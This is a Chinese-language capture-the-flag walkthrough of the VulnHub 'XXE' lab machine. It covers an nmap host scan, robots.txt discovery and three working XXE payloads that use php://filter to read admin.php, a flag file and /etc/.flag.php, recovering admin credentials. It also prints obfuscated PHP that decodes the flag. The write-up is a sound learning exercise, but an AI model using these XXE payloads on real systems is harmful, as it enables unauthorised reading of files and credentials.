前言
拒绝水文,从我做起
,如果如下教程有看不懂的,直接call小编哦
一、靶机安装
靶机下载地址:https: //download.vulnhub.com/xxe/XXE.zip
如上地址直接拿到浏览器上,就可以进行靶机下载,下载后的文件夹如下所示:
直接打开虚拟机:
最后使用虚拟机打开(打开的文件在新建虚拟机路劲下面)
二、信息收集阶段
1. 环境
- kali配置如下:
- ip:192.168.93.131
- xxe靶机未知
2. 探测局域网主机
使用nmap进行主机探测,
nmap 192.168.93.100-199
(探测192.168.93.100到192.168.93.199之中的所有主机),探测结果如下:
由上图可以看出,主机1开放了80号端口,http协议端口开放,说明有web站点,访问
192.168.93.132
,结果如下所示:
3. 信息收集
对于一个以知道的站点,
第一步肯定是扫描,扫描机器太多了,有御剑,AWVS,还可以使用burpsuit爬取网页结构
等等,我直接说信息收集的结果:
发现robots.txt文件,地址http://192.168.93.132/robots.txt
,具体结果如下:
三、解题
由上一步的信息收集我们可以知道,该网站有如下两个目录:
http://192.168.93.132/xxe/
,http://192.168.93.132/xxe/admin.php
,先进入http://192.168.93.132/xxe/
,尝试登录并抓包:
POC如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
进入重放模块,使用POC进行分析:
解码结果分析可得用户名和密码:administhebest、admin@123
进行登录
http://192.168.93.132/xxe/admin.php
,结果如下所示:
读取flagmeout.php文件的POC如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">
]>
<root><name>&admin;</name><password>admin</password></root>
base64解码结果如下所示:
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
对
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
进行base32解码后再进行base64解码后的结果为/etc/.flag.php
,然后读取/etc/.flag.php
中的类容,POC如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
其中类容解码结果如下所示,直接PHP运行得到结果
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Ã=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Ã[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Ã.$Â.$Ã.$___.$Ã.$À.$Ã.$___.$Ã.$À.$È.$___.$Ã.$À.$Ã.$___.$Ã.$Â.$Ã.$___.$Ã.$Â.$À.$___.$Ã.$É.$Ã.$___.$Ã.$É.$À.$___.$Ã.$É.$À.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ã.$É.$___.$Ã.$Æ.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$Ã.$É.$___.$Ã.$È.$Ã.$___.$Ã.$Æ.$É.$___.$Ã.$Ã.$É.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ä.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$É.$Ã.$___.$Ã.$É.$Æ.'"');$__($_);